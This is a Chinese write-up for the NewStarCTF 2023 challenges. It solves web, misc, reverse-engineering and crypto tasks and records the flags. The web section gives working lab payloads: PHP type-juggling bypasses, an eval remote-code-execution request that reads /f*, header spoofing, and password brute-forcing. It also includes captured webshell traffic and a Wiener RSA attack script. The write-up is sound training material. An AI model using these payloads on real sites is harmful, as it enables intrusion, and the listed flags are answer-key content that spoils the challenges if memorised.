base64解码一下,得到secret是n3wst4rCTF2023g00000d HackBar插件传一下POST参数 接下来发现很强,现在我需要验证你的 power 是否是 ctfer ,只有ctfer可以通过这关 Cookie改一下power改为ctfer 发现你已经完成了本题过半的关卡,现在请使用 NewStarCTF2023浏览器 来通过这关! 把User-Agent改为NewStarCTF2023 发现希望你是从 newstarctf.com 访问到这个关卡的 加个Referer: newstarctf.com 最后发现最后一关了!只有 本地用户 可以通过这一关 加一个Header:X-Real-IP: 127.0.0.1,本来以为这道题是要加X-Forwarded-For,结果加X-Forwarded-For发现好像不太行 拿到flag:flag{221fb558-9c0a-4b07-bac6-3af03cf7393e} ErrorFlask这道题有点奇怪,看到flask以为是SSTI,结果打开容器随便传个number1={{}},发现DEBUG模式没关,结果flag直接写到源代码里直接能看见,直接拿到flag:flag{Y0u_@re_3enset1ve_4bout_deb8g} Begin of PHP上来容器直接给出代码 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960<?phperror_reporting(0);highlight_file(__FILE__);if(isset($_GET['key1']) && isset($_GET['key2'])){ echo "=Level 1=<br>"; if($_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])){ $flag1 = True; }else{ die("nope,this is level 1"); }}if($flag1){ echo "=Level 2=<br>"; if(isset($_POST['key3'])){ if(md5($_POST['key3']) === sha1($_POST['key3'])){ $flag2 = True; } }else{ die("nope,this is level 2"); }}if($flag2){ echo "=Level 3=<br>"; if(isset($_GET['key4'])){ if(strcmp($_GET['key4'],file_get_contents("/flag")) == 0){ $flag3 = True; }else{ die("nope,this is level 3"); } }}if($flag3){ echo "=Level 4=<br>"; if(isset($_GET['key5'])){ if(!is_numeric($_GET['key5']) && $_GET['key5'] > 2023){ $flag4 = True; }else{ die("nope,this is level 4"); } }}if($flag4){ echo "=Level 5=<br>"; extract($_POST); foreach($_POST as $var){ if(preg_match("/[a-zA-Z0-9]/",$var)){ die("nope,this is level 5"); } } if($flag5){ echo file_get_contents("/flag"); }else{ die("nope,this is level 5"); }} 先看level1,要保证$_GET['key1'] !== $_GET['key2'] && md5($_GET['key1']) == md5($_GET['key2'])为 True,发现md5直接的判断是==而不是===,直接0e碰撞即可,随便找两个240610708和QLTHNDT就行。 再看level2,保证md5($_POST['key3']) === sha1($_POST['key3']为 True,中间是===,没办法再用level1的0e碰撞了,这里一个小技巧直接POST传key3[]=即可,这里key3直接被识别成数组了,导致两个函数都返回false。 接下来level3,保证strcmp($_GET['key4'],file_get_contents("/flag")) == 0为 True,继续用key4[]=,用数组的方式让其返回false 然后level4,保证!is_numeric($_GET['key5']) && $_GET['key5'] > 2023为 True,传key5=2024a,当它与2023比较时就会比它大,而且还识别不出它是数字。 最后level5,要保证它不能全是字母和数字,还要保证flag5变量是True,POST传flag5=-即可。 拿到flag:flag{35c5a11f-c06d-4178-9fb8-b4f97d3e9796} R!C!E!打开容器,贴上代码 1234567891011<?phphighlight_file(__FILE__);if(isset($_POST['password'])&&isset($_POST['e_v.a.l'])){ $password=md5($_POST['password']); $code=$_POST['e_v.a.l']; if(substr($password,0,6)==="c4d038"){ if(!preg_match("/flag|system|pass|cat|ls/i",$code)){ eval($code); } }} 要保证password的md5前6位是c4d038,同时code中不能含有一些敏感的单词。 这里贴上我跑MD5的脚本,写的不好,但是勉强能跑 123456789101112131415161718192021222324252627282930313233343536373839import hashlibimport itertoolsimport stringimport threading# 需要遍历的字符集characters = string.digits + string.ascii_lettersdef generate_combinations(length): for combo in itertools.product(characters, repeat=length): yield ''.join(combo)def calculate_md5(string): md5_hash = hashlib.md5() # 创建MD5对象 md5_hash.update(string.encode()) # 更新对象哈希值 md5_digest = md5_hash.hexdigest() # 获取哈希值的十六进制表示 return md5_digestdef find_md5_match(prefix): for combo in generate_combinations(len(prefix)): string = prefix + combo md5 = calculate_md5(string) if md5[0:6] == 'c4d038': print(f"{string} MD5哈希值: {md5}")# 测试计算MD5input_string = "0"threads = []for i in range(6): # 根据实际情况设置线程数量 prefix = input_string * i thread = threading.Thread(target=find_md5_match, args=(prefix,)) threads.append(thread) thread.start()for thread in threads: thread.join()print(f"{input_string}dddMD5哈希值: {md5}") 随便跑出来一个0000006sNj 接着直接传 1e[v.a.l=echo `cat /f*` 这里注意要用[代替_,这算是一个php特性。 EasyLogin打开容器,看到一个登录注册页面,拿burp抓包,最开始以为是sql注入,但是注入发现提示不是注入。 随便注册一个账号admin1,登录后发现是一个静态的shell,javascript代码审计一下,发现 1"echo -en '\\\\nnewstar\\\\nnewstar2023' >> weak-passwd.txt && \\\\\\nexport PASSWORD=`shuf weak-passwd.txt | head -n 1` && \\\\\\nrm -rf weak-passwd.txt"),applyAutoComplete(le),await sleep(800),term.writeln(WELCOME_TEXT),readInput(),le.detach(),await sleep(200),le.attach(),le.pushInput("chat"),le.confirm(),await sleep(200),le.pushInput("你会说中文吗?") 提示weak-passwd.txt弱口令,再加上注册时发现admin用户已经被注册,使用burp直接爆破密码。 发现admin弱口令是000000 登录,并拦截返回包,javascript审计,发现提示 1"echo Maybe you need BurpSuite." 清除cookie重新登录,拦截passport的返回包,得到flag:flag{97222ac1-f6d3-49c1-b1e6-05778420cfe2} Misc解题 5/6 CyberChef’s Secret签到题,打开后看到M5YHEUTEKFBW6YJWKZGU44CXIEYUWMLSNJLTOZCXIJTWCZD2IZRVG4TJPBSGGWBWHFMXQTDFJNXDQTA=,进入cyberchef.org,一把梭,拿到flag:flag{Base_15_S0_Easy_^_^}。 机密图片zsteg工具 执行zsteg secret.png得到 123456b1,r,lsb,xy .. text: ":=z^rzwPQb"b1,g,lsb,xy .. file: OpenPGP Public Keyb1,b,lsb,xy .. file: OpenPGP Secret Keyb1,rgb,lsb,xy .. text: "flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece}"b3,b,lsb,xy .. file: very old 16-bit-int big-endian archiveb4,bgr,msb,xy .. file: MPEG ADTS, layer I, v2, 112 kbps, 24 kHz, JntStereo 拿到flag:flag{W3lc0m3_t0_N3wSt4RCTF_2023_7cda3ece} 流量!鲨鱼!wireshark打开发现流量1.php%3fcmd=ls%20-al%20内容为 123456789101112131415161718192021222324total 80drwxr-xr-x 1 root root 4096 Aug 19 06:17 .drwxr-xr-x 1 root root 4096 Aug 19 06:17 ..-rwxr-xr-x 1 root root 0 Aug 19 06:08 .dockerenv-rw-r--r-- 1 root root 39 Aug 19 06:17 .ffffllllllll11111144444GGGGGGdrwxr-xr-x 1 root root 4096 Dec 21 2021 bindrwxr-xr-x 2 root root 4096 Dec 11 2021 bootdrwxr-xr-x 5 root root 360 Aug 19 06:08 devdrwxr-xr-x 1 root root 4096 Aug 19 06:08 etcdrwxr-xr-x 2 root root 4096 Dec 11 2021 homedrwxr-xr-x 1 root root 4096 Dec 21 2021 libdrwxr-xr-x 2 root root 4096 Dec 20 2021 lib64drwxr-xr-x 2 root root 4096 Dec 20 2021 mediadrwxr-xr-x 2 root root 4096 Dec 20 2021 mntdrwxr-xr-x 2 root root 4096 Dec 20 2021 optdr-xr-xr-x 248 root root 0 Aug 19 06:08 procdrwx------ 1 root root 4096 Aug 19 06:17 rootdrwxr-xr-x 1 root root 4096 Dec 21 2021 rundrwxr-xr-x 1 root root 4096 Dec 21 2021 sbindrwxr-xr-x 2 root root 4096 Dec 20 2021 srvdr-xr-xr-x 13 root root 0 Aug 19 06:08 sysdrwxrwxrwt 1 root root 4096 Dec 21 2021 tmpdrwxr-xr-x 1 root root 4096 Dec 20 2021 usrdrwxr-xr-x 1 root root 4096 Dec 21 2021 var 发现啊flag名字.ffffllllllll11111144444GGGGGG 启动过滤器frame contains ffffllllllll11111144444GGGGGG,追踪HTTP流,看到flag的两次base64编码:Wm14aFozdFhjbWt6TldnMGNtdGZNWE5mZFRVelpuVnNYMkkzTW1FMk1EazFNemRsTm4wSwo=,base64解密两次得到:flag{Wri35h4rk_1s_u53ful_b72a609537e6} 压缩包们下载后发现打不开 使用binwalk,binwalk -e task_1 ,得到一个压缩包,bandizip打开发现base64编码的注释SSBsaWtlIHNpeC1kaWdpdCBudW1iZXJzIGJlY2F1c2UgdGhleSBhcmUgdmVyeSBjb25jaXNlIGFuZCBlYXN5IHRvIHJlbWVtYmVyLg==,base64解密后得到I like six-digit numbers because they are very concise and easy to remember.,拿爆破工具直接爆破密码,得到232311,拿到flag:flag{y0u_ar3_the_m4ter_of_z1111ppp_606a4adc} 空白格下载后发现都是空格、Tab和换行,联想到WhiteSpace语言,在网上随便找一个WhiteSpace在线运行环境whitespace在线运行,在线工具,在线编译IDE_w3cschool,运行得到flag:flag{w3_h4v3_to0_m4ny_wh1t3_sp4ce_2a5b4e04} Reverse解题 7/8 easy_RE下载程序,拖到ida里面打开,能看见flag的前半部分flag{we1c0m F5反编译,看到后半部分e_to_rev3rse!!},得到完整flag:flag{we1c0me_to_rev3rse!!} 咳Upx脱壳upx -d KE.exe 反编译代码 1234567891011121314151617181920212223242526int __cdecl main(int argc, const char **argv, const char **envp){ unsigned __int64 i; // r10 char *v4; // kr00_8 char Str1[96]; // [rsp+20h] [rbp-88h] BYREF int v7; // [rsp+80h] [rbp-28h] _main(); memset(Str1, 0, sizeof(Str1)); v7 = 0; Hello(); scanf("%s", Str1); for ( i = 0i64; ; ++i ) { v4 = &Str1[strlen(Str1)]; if ( i >= v4 - Str1 ) break; ++Str1[i]; } if ( !strncmp(Str1, enc, v4 - Str1) ) puts("WOW!!"); else puts("I believe you can do it!"); system("pause"); return 0;} 其中enc是gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~, 写一个python脚本解密 123a='gmbh|D1ohsbuv2bu21ot1oQb332ohUifG2stuQ[HBMBYZ2fwf2~'for i in a: print(chr(ord(i)-1),end='') 得到flag:flag{C0ngratu1at10ns0nPa221ngTheF1rstPZGALAXY1eve1} Segments下载附件,拖到ida里,提示shift+F7,直接按,发现段名字中藏着flag flag{You_ar3_g0od_at_f1nding_ELF_segments_name} ELF反编译,得到c代码: 1234567891011121314151617181920212223int __cdecl main(int argc, const char **argv, const char **envp){ unsigned int v3; // edx char *s1; // [rsp+0h] [rbp-20h] char *v6; // [rsp+8h] [rbp-18h] char *s; // [rsp+10h] [rbp-10h] s = (char *)malloc(0x64uLL); printf("Input flag: "); fgets(s, 100, stdin); s[strcspn(s, "\\n")] = 0; v6 = (char *)encode(s); v3 = strlen(v6); s1 = (char *)base64_encode(v6, v3); if ( !strcmp(s1, "VlxRV2t0II8kX2WPJ15fZ49nWFEnj3V8do8hYy9t") ) puts("Correct"); else puts("Wrong"); free(v6); free(s1); free(s); return 0;} 发现base64,对字符串进行解密 得到V\\QWkt $_e'^_ggXQ'u|v!c/m 分析encode函数: 12345678910111213141516171819_BYTE *__fastcall encode(const char *a1){ size_t v1; // rax int v2; // eax _BYTE *v4; // [rsp+20h] [rbp-20h] int i; // [rsp+28h] [rbp-18h] int v6; // [rsp+2Ch] [rbp-14h] v1 = strlen(a1); v4 = malloc(2 * v1 + 1); v6 = 0; for ( i = 0; i < strlen(a1); ++i ) { v2 = v6++; v4[v2] = (a1[i] ^ 0x20) + 16; } v4[v6] = 0; return v4;} 写出python解密脚本 12345a='V\\QWkt $_e\\'^_ggXQ\\'u|v!c/m'b=''for i in a: b+=chr((ord(i)-16)^0x20)print(b) 得到flag:flag{D04ou7nowwha7ELF1s?} Endian反编译,得到: 1234567891011121314151617181920212223int __cdecl main(int argc, const char **argv, const char **envp){ int i; // [rsp+4h] [rbp-3Ch] char *v5; // [rsp+8h] [rbp-38h] char v6[40]; // [rsp+10h] [rbp-30h] BYREF unsigned __int64 v7; // [rsp+38h] [rbp-8h] v7 = __readfsqword(0x28u); puts("please input your flag"); __isoc99_scanf("%s", v6); v5 = v6; for ( i = 0; i <= 4; ++i ) { if ( *(_DWORD *)v5 != (array[i] ^ 0x12345678) ) { printf("wrong!"); exit(0); } v5 += 4; } printf("you are right"); return 0;} 其中array为dd 75553A1Eh, 7B583A03h, 4D58220Ch, 7B50383Dh, 736B3819h, 0,shift+e提取数组元素,写出python脚本 123456789101112arrr=[ 1968519710, 2069379587, 1297621516, 2068854845, 1936406553, 0 ]for i in arrr: h=((i^0x12345678)) value = h nums = [] while value > 0: nums.append(hex(value & 0xFF)) # 取出低位部分,并转换为16进制字符串 value >>= 8 # 右移8位,获取下一个位置的部分 nums_str = [chr(int(num,16)) for num in nums] result_str = ''.join(nums_str) print(result_str,end='') 执行拿到flag:flag{llittl_Endian_axV4 修改一下得到最后flag:flag{llittl_Endian_a} AndroXorAndroid killer打开,java反编译,入口处com.chick.androxor.MainActivity得到关键函数: 1234567891011121314151617181920212223public String Xor(String paramString1, String paramString2) { char[] arrayOfChar = new char[paramString1.length()]; int i = paramString1.length(); String str1 = "wrong!!!"; String str2; if (i != 25) { str2 = "wrong!!!"; } else { str2 = "you win!!!"; } for (i = 0; i < paramString1.length(); i++) { int j = (char)(paramString1.charAt(i) ^ paramString2.charAt(i % paramString2.length())); arrayOfChar[i] = ((char)j); if (new char[] { 14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13 }[i] != j) { str2 = str1; break; } } return str2; } 在com.chick.androxor.MainActivity$1类中得到key为happyx3 1234567public void onClick(View paramView) { String str = this.val$password.getText().toString(); paramView = this.this$0; Toast.makeText(paramView, paramView.Xor(str, "happyx3"), 1).show(); Log.d("输入", this.val$password.getText().toString()); } 编写python脚本 12345678key = "happyx3"cipher = [14, 13, 17, 23, 2, 75, 73, 55, 32, 30, 20, 73, 10, 2, 12, 62, 40, 64, 11, 39, 75, 89, 25, 65, 13]result = ""for i in range(len(cipher)): result += chr(cipher[i] ^ ord(key[i % len(key)]))print(result) 得到flag:flag{3z_And0r1d_X0r_x1x1} lazy_activtiy安装apk后打开发现要求我们打开另一个Activity来获得flag 查看apk配置文件AndroidManifest.xml 1234567891011<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.droidlearn.activity_travel" platformBuildVersionCode="32" platformBuildVersionName="12"> <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Activity_Travel"> <activity android:exported="false" android:name="com.droidlearn.activity_travel.FlagActivity"/> <activity android:exported="true" android:name="com.droidlearn.activity_travel.MainActivity"> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> </activity> </application></manifest> 将入口处改为FlagActivity,并且把FlagActivity的exported改为true 改后xml文件如下 123456789101112<?xml version="1.0" encoding="utf-8" standalone="no"?><manifest xmlns:android="http://schemas.android.com/apk/res/android" android:compileSdkVersion="32" android:compileSdkVersionCodename="12" package="com.droidlearn.activity_travel" platformBuildVersionCode="32" platformBuildVersionName="12"> <application android:allowBackup="true" android:appComponentFactory="androidx.core.app.CoreComponentFactory" android:dataExtractionRules="@xml/data_extraction_rules" android:fullBackupContent="@xml/backup_rules" android:icon="@mipmap/ic_launcher" android:label="@string/app_name" android:roundIcon="@mipmap/ic_launcher_round" android:supportsRtl="true" android:theme="@style/Theme.Activity_Travel"> <activity android:exported="true" android:name="com.droidlearn.activity_travel.FlagActivity"/> <intent-filter> <action android:name="android.intent.action.MAIN"/> <category android:name="android.intent.category.LAUNCHER"/> </intent-filter> <activity android:exported="true" android:name="com.droidlearn.activity_travel.MainActivity"> </activity> </application></manifest> 重新编译后打开,发现要求点击按钮10000次才能获得flag。 分析smali语句 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899.class Lcom/droidlearn/activity_travel/FlagActivity$1;.super Ljava/lang/Object;.source "FlagActivity.java"# interfaces.implements Landroid/view/View$OnClickListener;# annotations.annotation system Ldalvik/annotation/EnclosingMethod; value = Lcom/droidlearn/activity_travel/FlagActivity;->onCreate(Landroid/os/Bundle;)V.end annotation.annotation system Ldalvik/annotation/InnerClass; accessFlags = 0x0 name = null.end annotation# instance fields.field final synthetic this$0:Lcom/droidlearn/activity_travel/FlagActivity;.field final synthetic val$str:Landroid/widget/EditText;.field final synthetic val$tv_cnt:Landroid/widget/TextView;# direct methods.method constructor <init>(Lcom/droidlearn/activity_travel/FlagActivity;Landroid/widget/TextView;Landroid/widget/EditText;)V .locals 0 .line 20 iput-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity; iput-object p2, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$tv_cnt:Landroid/widget/TextView; iput-object p3, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$str:Landroid/widget/EditText; invoke-direct {p0}, Ljava/lang/Object;-><init>()V return-void.end method# virtual methods.method public onClick(Landroid/view/View;)V .locals 2 .line 23 iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$tv_cnt:Landroid/widget/TextView; iget-object v0, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity; invoke-static {v0}, Lcom/droidlearn/activity_travel/FlagActivity;->access$004(Lcom/droidlearn/activity_travel/FlagActivity;)I move-result v0 invoke-static {v0}, Ljava/lang/Integer;->toString(I)Ljava/lang/String; move-result-object v0 invoke-virtual {p1, v0}, Landroid/widget/TextView;->setText(Ljava/lang/CharSequence;)V .line 24 iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity; invoke-static {p1}, Lcom/droidlearn/activity_travel/FlagActivity;->access$000(Lcom/droidlearn/activity_travel/FlagActivity;)I move-result p1 const/16 v0, 0x2710 if-lt p1, v0, :cond_0 .line 25 iget-object p1, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->this$0:Lcom/droidlearn/activity_travel/FlagActivity; iget-object v0, p0, Lcom/droidlearn/activity_travel/FlagActivity$1;->val$str:Landroid/widget/EditText; invoke-virtual {v0}, Landroid/widget/EditText;->getText()Landroid/text/Editable; move-result-object v0 invoke-virtual {v0}, Ljava/lang/Object;->toString()Ljava/lang/String; move-result-object v0 const/4 v1, 0x0 invoke-static {p1, v0, v1}, Landroid/widget/Toast;->makeText(Landroid/content/Context;Ljava/lang/CharSequence;I)Landroid/widget/Toast; move-result-object p1 invoke-virtual {p1}, Landroid/widget/Toast;->show()V :cond_0 return-void.end method 发现其中的const/16 v0, 0x2710,其存储为点击次数,将其改为0x1,重新编译安装,打开后点击按钮直接得到flag flag{Act1v1ty_!s_so00oo0o_lmpor#an#} Crypto解题 10/10 brainfuck下载附件,得到 1++++++++[>>++>++++>++++++>++++++++>++++++++++>++++++++++++>++++++++++++++>++++++++++++++++>++++++++++++++++++>++++++++++++++++++++>++++++++++++++++++++++>++++++++++++++++++++++++>++++++++++++++++++++++++++>++++++++++++++++++++++++++++>++++++++++++++++++++++++++++++<<<<<<<<<<<<<<<<-]>>>>>>>++++++.>----.<-----.>-----.>-----.<<<-.>>++..<.>.++++++.....------.<.>.<<<<<+++.>>>>+.<<<+++++++.>>>+.<<<-------.>>>-.<<<+.+++++++.--..>>>>---.-.<<<<-.+++.>>>>.<<<<-------.+.>>>>>++. Brainfuck/OoK加密解密 - Bugku CTF,解密一下,得到flag:flag{Oiiaioooooiai#b7c0b1866fe58e12} Caesar’s Secert打开附件,得到kqfl{hf3x4w'x_h1umjw_n5_a4wd_3fed} 凯撒枚举凯撒(Caesar)加密/解密 - Bugku CTF,得到flag:flag{ca3s4r's_c1pher_i5_v4ry_3azy} Fence附件内容:fa{ereigtepanet6680}lgrodrn_h_litx#8fc3 栅栏加密栅栏加密/解密 - Bugku CTF,枚举解密,得到flag:flag{reordering_the_plaintext#686f8c03} Vigenère附件:pqcq{qc_m1kt4_njn_5slp0b_lkyacx_gcdy1ud4_g3nv5x0} 维吉尼亚解密维吉尼亚加密/解密 - Bugku CTF,密钥用flag前4个字母尝试一下得到:KFC 得到flag:flag{la_c1fr4_del_5ign0r_giovan_batt1st4_b3ll5s0} babyrsa打开附件 123456789101112131415161718192021from Crypto.Util.number import *from flag import flagdef gen_prime(n): res = 1 for i in range(15): res *= getPrime(n) return resif __name__ == '__main__': n = gen_prime(32) e = 65537 m = bytes_to_long(flag) c = pow(m,e,n) print(n) print(c)# 17290066070594979571009663381214201320459569851358502368651245514213538229969915658064992558167323586895088933922835353804055772638980251328261# 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595 使用大整数分解网站factordb.com,将其分解为多个质数之积 11729006607...61<143> = 2217990919<10> · 2338725373<10> · 2370292207<10> · 2463878387<10> · 2706073949<10> · 2794985117<10> · 2804303069<10> · 2923072267<10> · 2970591037<10> · 3207148519<10> · 3654864131<10> · 3831680819<10> · 3939901243<10> · 4093178561<10> · 4278428893<10> 解密 1234567891011121314151617181920212223from Crypto.Util.number import inversen = 2217990919 * 2338725373 * 2370292207 * 2463878387 * 2706073949 * 2794985117 * 2804303069 * 2923072267 * 2970591037 * 3207148519 * 3654864131 * 3831680819 * 3939901243 * 4093178561 * 4278428893e = 65537c = 14322038433761655404678393568158537849783589481463521075694802654611048898878605144663750410655734675423328256213114422929994037240752995363595# 尝试分解 nfactors = [2217990919, 2338725373, 2370292207, 2463878387, 2706073949, 2794985117, 2804303069, 2923072267, 2970591037, 3207148519, 3654864131, 3831680819, 3939901243, 4093178561, 4278428893]# 计算 phi(n)phi_n = 1for factor in factors: phi_n *= (factor - 1)# 计算私钥 dd = inverse(e, phi_n)# 解密密文得到明文m = pow(c, d, n)# 将明文转换为字节形式flag = m.to_bytes((m.bit_length() + 7) // 8, 'big')print(flag) Small d打开附件py代码: 1234567891011121314151617181920from secret import flagfrom Crypto.Util.number import *p = getPrime(1024)q = getPrime(1024)d = getPrime(32)e = inverse(d, (p-1)*(q-1))n = p*qm = bytes_to_long(flag)c = pow(m,e,n)print(c)print(e)print(n)# c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248# e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825# n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433 看到d数值比较小,使用低解密指数攻击 123456789101112131415161718192021222324252627282930313233343536373839404142434445464748495051525354555657585960616263646566676869707172737475767778798081828384858687888990919293949596979899100101102103104105106107108109110111112113114115116117118119120121122123124125126127128129130131132133134135136137138139140141142143144145146147148149150import gmpy2from Crypto.PublicKey import RSAfrom Crypto.Util.number import long_to_bytesdef rational_to_contfrac(x,y): ''' Converts a rational x/y fraction into a list of partial quotients [a0, ..., an] ''' a = x//y pquotients = [a] while a * y != x: x,y = y,x-a*y a = x//y pquotients.append(a) return pquotientsdef convergents_from_contfrac(frac): ''' computes the list of convergents using the list of partial quotients ''' convs = []; for i in range(len(frac)): convs.append(contfrac_to_rational(frac[0:i])) return convsdef contfrac_to_rational (frac): '''Converts a finite continued fraction [a0, ..., an] to an x/y rational. ''' if len(frac) == 0: return (0,1) num = frac[-1] denom = 1 for _ in range(-2,-len(frac)-1,-1): num, denom = frac[_]*num+denom, num return (num,denom)def egcd(a,b): ''' Extended Euclidean Algorithm returns x, y, gcd(a,b) such that ax + by = gcd(a,b) ''' u, u1 = 1, 0 v, v1 = 0, 1 while b: q = a // b u, u1 = u1, u - q * u1 v, v1 = v1, v - q * v1 a, b = b, a - q * b return u, v, adef gcd(a,b): ''' 2.8 times faster than egcd(a,b)[2] ''' a,b=(b,a) if a<b else (a,b) while b: a,b=b,a%b return adef modInverse(e,n): ''' d such that de = 1 (mod n) e must be coprime to n this is assumed to be true ''' return egcd(e,n)[0]%ndef totient(p,q): ''' Calculates the totient of pq ''' return (p-1)*(q-1)def bitlength(x): ''' Calculates the bitlength of x ''' assert x >= 0 n = 0 while x > 0: n = n+1 x = x>>1 return ndef isqrt(n): ''' Calculates the integer square root for arbitrary large nonnegative integers ''' if n < 0: raise ValueError('square root not defined for negative numbers') if n == 0: return 0 a, b = divmod(bitlength(n), 2) x = 2**(a+b) while True: y = (x + n//x)//2 if y >= x: return x x = ydef is_perfect_square(n): ''' If n is a perfect square it returns sqrt(n), otherwise returns -1 ''' h = n & 0xF; #last hexadecimal "digit" if h > 9: return -1 # return immediately in 6 cases out of 16. # Take advantage of Boolean short-circuit evaluation if ( h != 2 and h != 3 and h != 5 and h != 6 and h != 7 and h != 8 ): # take square root if you must t = isqrt(n) if t*t == n: return t else: return -1 return -1def wiener_hack(e, n): frac = rational_to_contfrac(e, n) convergents = convergents_from_contfrac(frac) for (k, d) in convergents: if k != 0 and (e * d - 1) % k == 0: phi = (e * d - 1) // k s = n - phi + 1 discr = s * s - 4 * n if (discr >= 0): t = is_perfect_square(discr) if t != -1 and (s + t) % 2 == 0: print("Hacked!") return d return Falsedef main(): n = 19873634983456087520110552277450497529248494581902299327237268030756398057752510103012336452522030173329321726779935832106030157682672262548076895370443461558851584951681093787821035488952691034250115440441807557595256984719995983158595843451037546929918777883675020571945533922321514120075488490479009468943286990002735169371404973284096869826357659027627815888558391520276866122370551115223282637855894202170474955274129276356625364663165723431215981184996513023372433862053624792195361271141451880123090158644095287045862204954829998614717677163841391272754122687961264723993880239407106030370047794145123292991433 e = 8614531087131806536072176126608505396485998912193090420094510792595101158240453985055053653848556325011409922394711124558383619830290017950912353027270400567568622816245822324422993074690183971093882640779808546479195604743230137113293752897968332220989640710311998150108315298333817030634179487075421403617790823560886688860928133117536724977888683732478708628314857313700596522339509581915323452695136877802816003353853220986492007970183551041303875958750496892867954477510966708935358534322867404860267180294538231734184176727805289746004999969923736528783436876728104351783351879340959568183101515294393048651825 c = 6755916696778185952300108824880341673727005249517850628424982499865744864158808968764135637141068930913626093598728925195859592078242679206690525678584698906782028671968557701271591419982370839581872779561897896707128815668722609285484978303216863236997021197576337940204757331749701872808443246927772977500576853559531421931943600185923610329322219591977644573509755483679059951426686170296018798771243136530651597181988040668586240449099412301454312937065604961224359235038190145852108473520413909014198600434679037524165523422401364208450631557380207996597981309168360160658308982745545442756884931141501387954248 d = wiener_hack(e, n) m = pow(c,d,n) print (long_to_bytes(m))if __name__=="__main__": main() 拿到flag:flag{learn_some_continued_fraction_technique#dc16885c} babyxor打开附件,得到一段python: 123456789from secret import *ciphertext = []for f in flag: ciphertext.append(f ^ key)print(bytes(ciphertext).hex())# e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2 由于已知flag是flag{开头的,所以我们可以得到key的值,编写解密脚本: 123456789101112131415ciphertext_hex = 'e9e3eee8f4f7bffdd0bebad0fcf6e2e2bcfbfdf6d0eee1ebd0eabbf5f6aeaeaeaeaeaef2'# 将16进制字符串转换为字节列表ciphertext_bytes = bytes.fromhex(ciphertext_hex)# 解密密文plaintext = []for c in ciphertext_bytes: print(chr(ord(chr(c))^143),end='') #plaintext.append(c ^ key)# 将字节列表转换为字符串plaintext_str = ''.join([chr(p) for p in plaintext])print(plaintext_str) 得到flag:flag{x0r_15_symm3try_and_e4zy!!!!!!} babyencoding使用cyberchef,第一段得到flag{dazzling_encoding#4e0ad4,第二段得到:f0ca08d1e1d0f10c0c7afe422fea7,第三段使用UUencode解密UUencode加密/解密 - Bugku CTF,得到c55192c992036ef623372601ff3a}。 拼接一下,得到flag:flag{dazzling_encoding#4e0ad4f0ca08d1e1d0f10c0c7afe422fea7c55192c992036ef623372601ff3a} Affine附件一段python 12345678910from flag import flag, keyciphertext = []for f in flag: ciphertext.append((key[0]*f + key[1]) % 256)print(bytes(ciphertext).hex())# dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064 因为flag前4个字母是flag,因此可以列出4个方程 1234221+256*a=key0*102+key167+256*b=key0*108+key1136+256*c=key0*97+key1238+256*d=key0*103+key1 得到 12key0 = (52 + 256 * (a - b + c - d)) / -12key1 = 221 + 256 * a - key0 * 102 测试猜测key0=17,key1=23 解密 1234567891011121314151617181920212223242526# 密文和密钥ciphertext_hex = "dd4388ee428bdddd5865cc66aa5887ffcca966109c66edcca920667a88312064"key = (17, 23) # 请将a和b替换为实际的密钥值# 计算key[0]的模数逆def mod_inverse(a, m): m0, x0, x1 = m, 0, 1 while a > 1: q = a // m m, a = a % m, m x0, x1 = x1 - q * x0, x0 return x1 + m0 if x1 < 0 else x1# 